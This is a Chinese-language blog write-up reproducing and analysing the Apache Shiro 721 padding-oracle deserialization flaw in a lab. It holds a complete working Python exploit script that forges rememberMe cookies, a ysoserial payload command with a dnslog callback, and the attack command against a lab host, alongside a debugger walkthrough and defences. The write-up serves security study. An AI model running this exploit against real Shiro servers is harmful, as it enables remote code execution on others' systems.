环境

这里我直接用的Drunkbaby佬的环境,自己搭建失败了,淦

漏洞原理

在Shiro721漏洞中,由于Apache Shiro cookie中通过 AES-128-CBC 模式加密的rememberMe字段存在问题,用户可通过Padding Oracle Attack来构造恶意的rememberMe字段,并重新请求网站,进行反序列化攻击,最终导致任意代码执行。

虽然使用Padding Oracle Attack可以绕过密钥直接构造攻击密文,但是在进行攻击之前我们需要获取一个合法用户的Cookie。

漏洞利用条件

漏洞影响版本是 1.2.5 <= Apache Shiro <= 1.4.1
Apache Shiro Padding Oracle Attack 的漏洞利用必须满足如下前提条件:

  • 开启 rememberMe 功能;
  • rememberMe 值使用 AES-CBC 模式解密;
  • 能获取到正常 Cookie,即用户正常登录的 Cookie 值;
  • 密文可控;

复现漏洞

这里先正常登录,然后抓个登录后的包,这里还是和之前一样得用自己的IP才能抓到
image-20230717113123897
然后利用yso工具生成一个payload.class文件

1
java8 -jar ysoserial-all.jar URLDNS "http://1ovhi7.dnslog.cn" > payload.class

然后利用[如下exp](inspiringz/Shiro-721: Shiro-721 RCE Via RememberMe Padding Oracle Attack (github.com))进行Padding Oracle Attack:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
#https://github.com/3ndz/Shiro-721  
# -*- coding: utf-8 -*-
from paddingoracle import BadPaddingException, PaddingOracle
from base64 import b64encode, b64decode
from urllib import quote, unquote
import requests
import socket
import time

class PadBuster(PaddingOracle):
def __init__(self, **kwargs):
super(PadBuster, self).__init__(**kwargs)
self.session = requests.Session()
self.wait = kwargs.get('wait', 2.0)

def oracle(self, data, **kwargs):
somecookie = b64encode(b64decode(unquote(sys.argv[2])) + data)
self.session.cookies['rememberMe'] = somecookie
if self.session.cookies.get('JSESSIONID'):
del self.session.cookies['JSESSIONID']
while 1:
try:
response = self.session.get(sys.argv[1],
stream=False, timeout=5, verify=False)
break
except (socket.error, requests.exceptions.RequestException):
logging.exception('Retrying request in %.2f seconds...',
self.wait)
time.sleep(self.wait)
continue

self.history.append(response)
if response.headers.get('Set-Cookie') is None or 'deleteMe' not in response.headers.get('Set-Cookie'):
logging.debug('No padding exception raised on %r', somecookie)
return
raise BadPaddingException


if __name__ == '__main__':
import logging
import sys

if not sys.argv[3:]:
print 'Usage: %s <url> <somecookie value> <payload>' % (sys.argv[0], )
sys.exit(1)

logging.basicConfig(level=logging.DEBUG)
encrypted_cookie = b64decode(unquote(sys.argv[2]))
padbuster = PadBuster()
payload = open(sys.argv[3], 'rb').read()
enc = padbuster.encrypt(plaintext=payload, block_size=16)
print('rememberMe cookies:')
print(b64encode(enc))

这个脚本需要python2来运行,然后paddingoracle这个库直接在上面那个项目里面下载然后放到python2对应的库存放位置就行,我的地址如下
image-20230717113137408
然后运行脚本爆破就行

1
python2 exp.py http://172.21.97.44:8081/shiro721_war/account/ nAIv7BZvX7caZvpwmOXX081j1JGGQGBL936tN9gkgCcymvbHnt7Vgj8Alu7pBZSwFHbbUa776DI4T1WGeJ7YguSZOLuinOaIW1iHjwi0P1YFNcf0ZIYTimmKL0u3tWeGpTS276V9WqdYhd1oCsI7R/4wlZ28rodMjoNeADon742+JG4Mbj6ihQKNBL+mklXa/+u5tpd6NfbEbASAFSlQ8H/MdbwzhqVXyMOvteNR26adkcWJKZDhKBy5GE68fPi7OHWcSVsl6ZZUMTAZcsIiwzg9O/XDUEkAzK1TMEf3iibRbHhfD6jzNorfcEM9DZTZ6trEX8+TFHc6DHyVZE8I6De6+Iyq3Ysr0N222YRwc2uYc2UYMrZPho1p/JheNPJGN+DolcM03d8HxJF4tSDepkvn8uYzjps+U+h++zqAqWrkkDzG7vTJP7Zo9Z5YONCSuYRq3k7vL0sqoO+PRQ+18JNAOYi2Jjlu0y3JpYX1eROnIbVMp1lF81d9UIgueJuT payload.class

然后利用爆破生成的cookie去打DNS就行,脚本作者说差不多一小时,其实这里大概几分钟就行
image-20230717113145827
image-20230717113153511
这里也可以利用飞鸿师傅的工具去打也行Shiro550/Shiro721 一键化利用工具

漏洞分析

密钥生成

在shiro550中密钥是硬编码,如下

1
2
3
4
5
public AbstractRememberMeManager() {
this.serializer = new DefaultSerializer<PrincipalCollection>();
this.cipherService = new AesCipherService();
setCipherKey(DEFAULT_CIPHER_KEY_BYTES);
}

在Shiro721中,密钥的生成方式变为了动态生成

1
2
3
4
5
6
public AbstractRememberMeManager() {
this.serializer = new DefaultSerializer<PrincipalCollection>();
AesCipherService cipherService = new AesCipherService();
this.cipherService = cipherService;
setCipherKey(cipherService.generateNewKey().getEncoded());
}

然后跟进调试一下,断点如下,shiro通过generateNewKey()方法获取密钥
image-20230717113207176
进入generateNewKey()方法,这里初始化了一个KeyGenerator对象,并且调用了init
image-20230717113216295
继续跟进看看,这里获取到了一个随机数发生器SecureRandom
image-20230717113226497
然后下一步调用了generateKey()跟进看看
image-20230717113235333
跟进之后发现这里调用了engineGenerateKey()跟进去发现是个抽象类中的抽象方法,找到它的实现,在下面这里
image-20230717113244391
在这里已经生成了一串16字节的随机序列,然后返回一个SecretKeySpec对象,再使用getEncoded()方法获取key密钥序列,然后继续跟到getEncoded()方法
image-20230717113254957
这整个过程就是密钥生成的完整过程,调试能力太差了,不知道是不是没下源码的原因很多类都是class文件不太好调,都是直接下的断点

Padding Oracle Attack攻击中的布尔条件

以下内容参考Java反序列化漏洞——Shiro721 - 枫のBlog (goodapple.top)我这里就是跟着走一遍
Padding Oracle Attack攻击是一种类似于sql盲注的攻击,这就要求服务器端有能够被我们利用的布尔条件
在 Apache Shiro 的场景中,这个服务端的两个不同的响应特征为:

  • Padding Oracle 错误时,服务端响应报文的 Set-Cookie 头字段返回 rememberMe=deleteMe
  • Padding Oracle 正确时,服务端返回正常的响应报文内容;
    我们可以通过响应头来判断明文填充是否正确,进而爆破出中间值。那么对于解密不正确的 Cookie,Shiro 是怎么处理的呢?

Padding错误处理

解密函数在AbstractRememberMeManager.decrypt()
image-20230717113306451
跟进cipherService.decrypt(),最后到crypt()中调用doFinal()方法,这里我直接下断点了,一步步调问题太多了,也有可能是我调试能力差

doFinal()方法有IllegalBlockSizeExceptionBadPaddingException这两个异常,分别用于捕获块大小异常和填充错误异常。异常会被抛出到crypt()方法中,最终被getRememberedPrincipals()方法捕获,并执行onRememberedPrincipalFailure()方法。
image-20230717113350548
onRememberedPrincipalFailure()方法调用了forgetIdentity()。该方法会调用removeFrom(),在response头部添加字段Set-Cookie: rememberMe=deleteMe
image-20230717113359308
倘若Padding结果不正确的话,响应包就会返回 Set-Cookie: rememberMe=deleteMe

Padding正确,反序列化处理

CBC模式下的分组密码,如果某一组的密文被破坏,那么在其之后的分组都会受到影响。这时候我们的密文就无法正确的被反序列化了。
Shiro中关于反序列化的处理在DefaultSerializer类的deserialize()方法下
image-20230717113411895
如果反序列化的结果错误,则会抛出异常。最后异常仍会被 getRememberedPrincipals() 方法处理。继续往下跟即可看到来到了getRememberedPrincipals() 方法
image-20230717113437985
这也就是上面讲的 response 包里会回显 302 且 rememberMe=deleteMe
但是对于 Java 来说,反序列化是以 Stream 的方式按顺序进行的,向其后添加或更改一些字符串并不会影响正常反序列化。后面的测试直接贴了上面那个大佬的测试图。
获取正常用户的 Cookie 并使用密钥解密,可以看到最后填充的数据为 0x0B
image-20230717113452298
下面我们将其更改为其他合法填充方式,然后加密发送出去
image-20230717113459220
image-20230717113516223
服务器端正常响应,于是这里就构造出了布尔条件

  • Padding 正确,服务器正常响应
  • Padding 错误,服务器返回 Set-Cookie: rememberMe=deleteMe

防御方式

  1. 由于这种方法需要爆破得到key,因此可以对短时间内多次访问的ip进行禁止访问操作,达到防御目的。
  2. 升级至安全版本。
  3. 关闭rememberMe持久化登录功能。
    参考借鉴:
    Java反序列化Shiro篇02-Shiro721流程分析 | Drunkbaby’s Blog (drun1baby.top)
    Java反序列化漏洞——Shiro721 - 枫のBlog (goodapple.top)shiro 721 反序列化漏洞复现与原理以及Padding Oracle Attack攻击加解密原理_shiro反序列化原理_Shanfenglan7的博客-CSDN博客